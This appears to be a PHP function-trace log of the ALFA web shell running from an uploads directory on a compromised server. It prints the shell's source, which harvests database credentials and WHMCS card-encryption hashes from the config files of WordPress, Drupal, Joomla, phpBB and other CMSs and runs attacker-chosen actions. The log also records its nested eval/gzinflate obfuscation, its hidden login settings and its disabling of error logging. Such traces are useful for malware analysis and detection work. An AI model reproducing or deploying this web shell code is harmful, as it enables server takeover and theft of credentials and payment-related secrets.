]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'dbname\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_NAME(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'dbuser\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_USER(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'dbpw\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_PASSWORD(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'prefix\'=>array("/table_prefix[ ]{0,}=[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",1)\r\n),\r\n\'drupal\'=>array(\'file\'=>\'/config.php\',\r\n\'host\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_HOSTNAME(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'dbname\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_DATABASE(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'dbuser\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_USERNAME(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'dbpw\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_PASSWORD(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'prefix\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_PREFIX(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1)\r\n),\r\n\'drupal2\'=>array(\'file\'=>\'/sites/default/settings.php\',\r\n\'host\'=>array("/(?:\'|\\")host(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1),\r\n\'dbname\'=>array("/(?:\'|\\")database(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1),\r\n\'dbuser\'=>array("/(?:\'|\\")username(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1),\r\n\'dbpw\'=>array("/(?:\'|\\")password(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1),\r\n\'prefix\'=>array("/(?:\'|\\")prefix(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1)\r\n),\r\n\'vb\'=>array(\'file\'=>\'/includes/config.php\',\r\n\'host\'=>array("/config\\[(?:\'|\\")MasterServer(?:\'|\\")\\]\\[(?:\'|\\")servername(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3),\r\n\'dbuser\'=>array("/config\\[(?:\'|\\")MasterServer(?:\'|\\")\\]\\[(?:\'|\\")username(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3),\r\n\'dbname\'=>array("/config\\[(?:\'|\\")Database(?:\'|\\")\\]\\[(?:\'|\\")dbname(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3),\r\n\'dbpw\'=>array("/config\\[(?:\'|\\")MasterServer(?:\'|\\")\\]\\[(?:\'|\\")password(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3),\r\n\'prefix\'=>array("/config\\[(?:\'|\\")Database(?:\'|\\")\\]\\[(?:\'|\\")tableprefix(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3)\r\n),\r\n\'phpnuke\'=>array(\'file\'=>\'/config.php\',\r\n\'host\'=>array(\'/dbhost(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\r\n\'dbname\'=>array(\'/dbname(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\r\n\'dbuser\'=>array(\'/dbuname(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\r\n\'dbpw\'=>array(\'/dbpass(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\r\n\'prefix\'=>array(\'/prefix(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3)\r\n),\r\n\'smf\'=>array(\'file\'=>\'/Settings.php\',\r\n\'host\'=>array("/db_server(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/db_name(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/db_user(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/db_passwd(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'prefix\'=>array("/db_prefix(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n),\r\n\'whmcs\'=>array(\'file\'=>\'/configuration.php\',\r\n\'host\'=>array("/db_host(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/db_name(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/db_username(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/db_password(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'cc_encryption_hash\'=>array("/cc_encryption_hash(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n),\r\n\'joomla\'=>array(\'file\'=>\'/configuration.php\',\r\n\'host\'=>array("/\\\\\\$host(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/\\\\\\$db(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/\\\\\\$user(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/\\\\\\$password(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'prefix\'=>array("/\\\\\\$dbprefix(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n),\r\n\'phpbb\'=>array(\'file\'=>\'/config.php\',\r\n\'host\'=>array("/dbhost(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/dbname(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/dbuser(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/dbpasswd(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'prefix\'=>array("/table_prefix(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n),\r\n\'mybb\'=>array(\'file\'=>\'/inc/config.php\',\r\n\'host\'=>array("/config\\[\'database\'\\]\\[\'hostname\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/config\\[\'database\'\\]\\[\'database\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/config\\[\'database\'\\]\\[\'username\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/config\\[\'database\'\\]\\[\'password\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'prefix\'=>array("/config\\[\'database\'\\]\\[\'table_prefix\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n)\r\n);\r\nif($cms == "drupal"){\r\n\t$file = $config[$cms][\'file\'];\r\n\t$file=$path.$file;\r\n\tif(@is_file($file)||_alfa_is_dir($file,"-e")){\r\n\t}else{\r\n\t\t$cms = \'drupal2\';\r\n\t}\r\n}\r\nif($cms == "vb"){\r\n\t$file = $config[$cms][\'file\'];\r\n\t$file=$path.$file;\r\n\tif(@is_file($file)||_alfa_is_dir($file,"-e")){\r\n\t}else{\r\n\t\t$path .= \'/core\';\r\n\t}\r\n}\r\n$data = array();\r\n$srch_host = $config[$cms][\'host\'][0];\r\n$srch_user = $config[$cms][\'dbuser\'][0];\r\n$srch_name = $config[$cms][\'dbname\'][0];\r\n$srch_pw = $config[$cms][\'dbpw\'][0];\r\n$prefix = $config[$cms][\'prefix\'][0];\r\n$file = $config[$cms][\'file\'];\r\n$chost = $config[$cms][\'host\'][1];\r\n$cuser = $config[$cms][\'dbuser\'][1];\r\n$cname = $config[$cms][\'dbname\'][1];\r\n$cpw = $config[$cms][\'dbpw\'][1];\r\n$cprefix = $config[$cms][\'prefix\'][1];\r\nif(@is_dir($path)||_alfa_is_dir($path)){\r\n$file=$path.$file;\r\n}elseif(@is_file($path)||_alfa_is_dir($path,"-e")){\r\n$file=$path;\r\n}else{\r\nreturn false;\r\n}\r\n$file = __read_file($file);\r\nif($cms == "drupal2"){\r\n\t$file = preg_replace("/\\@code(.*?)\\@endcode/s", "", $file);\r\n}elseif($cms == "vb"){\r\n\t$file = preg_replace("/right of the(.*?)BAD!/s", "", $file);\r\n}\r\nif(preg_match($srch_host, $file, $mach)){\r\n$data[\'host\'] = $mach[$chost];\r\n}\r\nif(preg_match($srch_user, $file, $mach)){\r\n$data[\'user\'] = $mach[$cuser];\r\n}\r\nif(preg_match($srch_name, $file, $mach)){\r\n$data[\'dbname\'] = $mach[$cname];\r\n}\r\nif(preg_match($srch_pw, $file, $mach)){\r\n$data[\'password\'] = $mach[$cpw];\r\n}\r\nif(isset($prefix)){\r\nif(preg_match($prefix, $file, $mach)){\r\n$data[\'prefix\'] = $mach[$cprefix];\r\n}\r\n}\r\nif($cms==\'whmcs\'){\r\nif(preg_match($config[$cms][\'cc_encryption_hash\'][0], $file, $mach)){\r\n$data[\'cc_encryption_hash\'] = $mach[3];\r\n}\r\n}\r\necho json_encode($data);\r\n}\r\nif(empty($_POST[\'a\']))\r\nif(isset($default_action) && function_exists(\'alfa\' . $default_action))\r\n$_POST[\'a\'] = $default_action;\r\nelse\r\n$_POST[\'a\'] = \'FilesMan2\';//\'FilesMan\';\r\nif(!empty($_POST[\'a\']) && function_exists(\'alfa\' . $_POST[\'a\']))\r\ncall_user_func(\'alfa\' . $_POST[\'a\']);\r\nexit;\r\n/*\r\n#Persian Gulf For Ever\r\n#skype : sole.sad\r\n#skype : ehsan.invisible\r\n*/\r\n?>' /var/www/html/uploads/alfa.php(14) : eval()'d code 1 0
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 9 GLOBALS['oZgNypoPRU'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 19 $CWppUDJxuf = 'function_exists'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 20 $aztJtafUXm = 'charCodeAt'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 21 $OVpGNqqFZs = 'eval'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 22 $psDEwGhsxg = 'gzinflate'
4 16 0 0.062602 3414392 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 24 1 'base64_encode'
4 16 1 0.062628 3414432
4 16 R TRUE
4 17 0 0.062649 3414392 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 72 1 'base64_decode'
4 17 1 0.062669 3414432
4 17 R TRUE
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 126 GLOBALS['DB_NAME'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 128 $key = 'username'
4 18 0 0.062737 3414368 substr 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 130 3 'username' 0 2
4 18 1 0.062758 3414496
4 18 R 'us'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 130 $prefix = 'us'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 133 GLOBALS['DB_NAME']['user'] = 'alfa'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 134 GLOBALS['DB_NAME']['user_rand'] = 'username'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 128 $key = 'password'
4 19 0 0.062853 3415096 substr 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 130 3 'password' 0 2
4 19 1 0.062874 3415224
4 19 R 'pa'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 130 $prefix = 'pa'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 138 GLOBALS['DB_NAME']['pass'] = 'a6f452ec3293d7fb72c5b677257b20ec'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 139 GLOBALS['DB_NAME']['pass_rand'] = 'password'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 128 $key = 'safe_mode'
4 20 0 0.062973 3415096 substr 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 130 3 'safe_mode' 0 2
4 20 1 0.062994 3415224
4 20 R 'sa'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 130 $prefix = 'sa'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 143 GLOBALS['DB_NAME']['safemode'] = '0'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 144 GLOBALS['DB_NAME']['safemode_rand'] = 'safe_mode'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 128 $key = 'login_page'
4 21 0 0.063080 3415096 substr 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 130 3 'login_page' 0 2
4 21 1 0.063101 3415224
4 21 R 'lo'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 130 $prefix = 'lo'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 148 GLOBALS['DB_NAME']['login_page'] = '403'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 149 GLOBALS['DB_NAME']['login_page_rand'] = 'login_page'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 128 $key = 'show_icons'
4 22 0 0.063186 3415096 substr 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 130 3 'show_icons' 0 2
4 22 1 0.063206 3415224
4 22 R 'sh'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 130 $prefix = 'sh'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 153 GLOBALS['DB_NAME']['show_icons'] = '1'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 154 GLOBALS['DB_NAME']['show_icons_rand'] = 'show_icons'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 128 $key = 'post_encryption'
4 23 0 0.063290 3415096 substr 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 130 3 'post_encryption' 0 2
4 23 1 0.063311 3415224
4 23 R 'po'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 130 $prefix = 'po'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 158 GLOBALS['DB_NAME']['post_encryption'] = FALSE
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 159 GLOBALS['DB_NAME']['post_encryption_rand'] = 'post_encryption'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 128 $key = 'cgi_api'
4 24 0 0.063397 3415096 substr 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 130 3 'cgi_api' 0 2
4 24 1 0.063416 3415224
4 24 R 'cg'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 130 $prefix = 'cg'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 163 GLOBALS['DB_NAME']['cgi_api'] = TRUE
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 164 GLOBALS['DB_NAME']['cgi_api_rand'] = 'cgi_api'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 172 $userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
4 25 0 0.063518 3415736 implode 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 172 2 '|' [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
4 25 1 0.063548 3415896
4 25 R 'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider'
4 26 0 0.063592 3415832 preg_match 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 172 2 '/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i' 'python-requests/2.25.1'
4 26 1 0.063627 3415896
4 26 R 0
4 27 0 0.063648 3415736 define 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 179 2 '__ALFA_VERSION__' '4.1'
4 27 1 0.063672 3415840
4 27 R TRUE
4 28 0 0.063690 3415768 define 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 180 2 '__ALFA_UPDATE__' '2'
4 28 1 0.063711 3415872
4 28 R TRUE
4 29 0 0.063728 3415800 define 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 181 2 '__ALFA_CODE_NAME__' 'Tesla'
4 29 1 0.063750 3415904
4 29 R TRUE
4 30 0 0.063766 3415832 define 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 182 2 '__ALFA_DATA_FOLDER__' 'ALFA_DATA'
4 30 1 0.063786 3415936
4 30 R TRUE
4 31 0 0.063805 3415864 define 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 183 2 '__ALFA_POST_ENCRYPTION__' FALSE
4 31 1 0.063827 3415968
4 31 R TRUE
4 32 0 0.063845 3415896 define 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 184 2 '__ALFA_SECRET_KEY__' ''
4 32 1 0.063866 3416000
4 32 R TRUE
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 185 GLOBALS['__ALFA_COLOR__'] = ['shell_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'header_vars' => '#27979B', 'header_values' => '#67ABDF', 'header_on' => '#00FF00', 'header_off' => '#ff0000', 'header_none' => '#00FF00', 'home_shell' => '#ff0000', 'home_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'back_shell' => '#efbe73', 'back_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_pwd' => '#00FF00', 'header_pwd:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_drive' => '#00FF00', 'header_drive:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_show_all' => '#00FF00', 'disable_functions' => '#ff0000', 'footer_text' => '#27979B', 'menu_options' => '#27979B', 'menu_options:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'options_list' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'options_list:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'options_list_header' => ['key_color' => '#59cc33', 'multi_selector' => [...]], 'options_list_text' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'Alfa+' => ['key_color' => '#06ff0f', 'multi_selector' => [...]], 'hidden_shell_text' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'hidden_shell_version' => '#ff0000', 'shell_name' => '#FF0000', 'main_row:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'main_header' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_name' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_size' => '#67ABDF', 'main_modify' => '#67ABDF', 'main_owner_group' => '#67ABDF', 'main_green_perm' => '#25ff00', 'main_red_perm' => '#FF0000', 'main_white_perm' => '#FFFFFF', 'beetween_perms' => '#FFFFFF', 'main_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'minimize_editor_background' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'minimize_editor_text' => ['key_color' => '#f5deb3', 'multi_selector' => [...]], 'editor_border' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'editor_background' => ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => [...]], 'editor_header_background' => ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => [...]], 'editor_header_text' => ['key_color' => '#00ff7f', 'multi_selector' => [...]], 'editor_header_button' => ['key_color' => '#1d5673', 'multi_selector' => [...]], 'editor_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_vars' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_values' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'editor_history_header' => ['key_color' => '#14ff07', 'multi_selector' => [...]], 'editor_history_list' => ['key_color' => '#03b3a3', 'multi_selector' => [...]], 'editor_history_selected_file' => ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => [...]], 'editor_history_file:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'input_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'input_box_text' => ['key_color' => '#999999', 'multi_selector' => [...]], 'input_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'select_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'select_box_text' => ['key_color' => '#FFFFEE', 'multi_selector' => [...]], 'select_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button_border' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'outputs_text' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'outputs_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_background' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_text_right' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'uploader_text_left' => ['key_color' => '#25ff00', 'multi_selector' => [...]], 'uploader:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'uploader_progress_bar' => ['key_color' => '#00ff00', 'multi_selector' => [...]], 'mysql_tables' => '#00FF00', 'mysql_table_count' => '#67ABDF', 'copyright' => '#dfff00', 'scrollbar' => ['key_color' => '#1e82b5', 'multi_selector' => [...]], 'scrollbar_background' => ['key_color' => '#000115', 'multi_selector' => [...]]]
4 33 0 0.064051 3415928 preg_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 511 3 '!\\(\\d+\\)\\s.*!' '' '/var/www/html/uploads/alfa.php(14) : eval()\'d code(1) : eval()\'d code'
4 33 1 0.064078 3416120
4 33 R '/var/www/html/uploads/alfa.php'
4 34 0 0.064100 3416024 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 511 1 '/var/www/html/uploads/alfa.php'
4 34 1 0.064119 3416056
4 34 R '/var/www/html/uploads/alfa.php'
4 35 0 0.064139 3416024 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 511 3 '\\' '/' '/var/www/html/uploads/alfa.php'
4 35 1 0.064161 3416120
4 35 R '/var/www/html/uploads/alfa.php'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 511 GLOBALS['__file_path'] = '/var/www/html/uploads/alfa.php'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 512 $config = ['AlfaUser' => 'alfa', 'AlfaPass' => 'a6f452ec3293d7fb72c5b677257b20ec', 'AlfaProtectShell' => '0', 'AlfaLoginPage' => '403']
4 36 0 0.064229 3416400 session_write_close 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 514 0
4 36 1 0.064248 3416400
4 36 R FALSE
4 37 0 0.064267 3416400 ignore_user_abort 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 515 1 TRUE
4 37 1 0.064289 3416464
4 37 R 0
4 38 0 0.064307 3416432 set_time_limit 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 516 1 0
4 38 1 0.064331 3416496
4 38 R FALSE
4 39 0 0.064350 3416464 ini_set 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 517 2 'memory_limit' '-1'
4 39 1 0.064372 3416568
4 39 R '128M'
4 40 0 0.064390 3416464 ini_set 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 518 2 'upload_max_filesize' '9999m'
4 40 1 0.064412 3416536
4 40 R FALSE
4 41 0 0.064433 3416464 error_reporting 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 853 1 32759
4 41 1 0.064453 3416536
4 41 R 0
4 42 0 0.064470 3416496 ini_set 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 854 2 'error_log' NULL
4 42 1 0.064492 3416568
4 42 R ''
4 43 0 0.064537 3416496 ini_set 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 855 2 'log_errors' 0
4 43 1 0.064561 3416568
4 43 R '1'
4 44 0 0.064598 3416496 ini_set 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 856 2 'max_execution_time' 0
4 44 1 0.064619 3416536
4 44 R '0'
4 45 0 0.064636 3416464 ini_set 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 857 2 'magic_quotes_runtime' 0
4 45 1 0.064657 3416536
4 45 R FALSE
4 46 0 0.064674 3416464 set_time_limit 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 858 1 0
4 46 1 0.064747 3416528
4 46 R FALSE
4 47 0 0.064766 3416496 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 859 1 'set_magic_quotes_runtime'
4 47 1 0.064786 3416536
4 47 R FALSE
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 875 $default_action = 'FilesMan2'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 876 $default_use_ajax = TRUE
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 877 $default_charset = 'Windows-1251'
4 48 0 0.064855 3416496 substr 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 878 3 'Linux' 0 3
4 48 1 0.064875 3416624
4 48 R 'Lin'
4 49 0 0.064893 3416528 strtolower 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 878 1 'Lin'
4 49 1 0.064912 3416592
4 49 R 'lin'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 881 GLOBALS['sys'] = 'unix'
4 50 0 0.064948 3416496 alfaGetCwd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 882 0
5 51 0 0.064966 3416496 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 737 1 'getcwd'
5 51 1 0.064986 3416536
5 51 R TRUE
5 52 0 0.065003 3416496 getcwd 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 738 0
5 52 1 0.065025 3416544
5 52 R '/var/www/html/uploads'
4 50 1 0.065054 3416544
4 50 R '/var/www/html/uploads'
